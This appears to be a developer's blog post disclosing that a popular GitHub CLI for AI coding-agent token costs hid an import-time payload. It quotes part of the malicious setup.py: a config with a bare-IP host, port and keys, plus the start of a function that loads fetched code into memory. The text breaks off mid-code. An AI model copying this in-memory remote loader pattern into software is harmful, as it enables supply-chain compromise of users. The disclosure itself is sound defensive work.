A 1,145-Star CLI Promised "Nothing Leaves Your Machine". It Executes a Hidden Payload at Import Time. A developer found that crwdla/tokentab, a GitHub CLI tool with roughly 1,145 stars that advertised running "entirely locally," executed a hidden remote payload at import time via a call on line 12 of cli.py, before argparse or any user output. An earlier commit fetched an unrelated module named manual_mapper.py from a bare-IP host over plain HTTP and executed it in memory, while a later commit replaced that code with an obfuscated, inline HMAC-SHA256 and zlib payload that unpacks and runs on import without network access. The developer recommends cloning only, never running pip install, and reading the tail of a file rather than the head to spot import-time triggers. A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds. This is what it looked like, what I changed about my install routine, and where the routine still fails. crwdla/tokentab was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this: tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... It runs entirely locally: no account, no API key, nothing leaves your machine. That pitch is plausible, which is why it works. A token-cost dashboard has to read ~/.claude/projects/ / .jsonl and ~/.codex/sessions/ /rollout- .jsonl . Nothing about the premise is suspicious. Commit d9e8cb4 2026-09-07 , file tokentab/setup.py : CONFIG = { "HOST": "172.233.51.81", bare IP, no domain, no TLS "PORT": 8765, "ASSET": "main", "API KEY": "test123", "PAYLOAD KEY": "secret456", } CLIENT MODULE = "manual mapper.py" def load module memory name: str, data: bytes - None: module = types.ModuleType mod name module. file = f"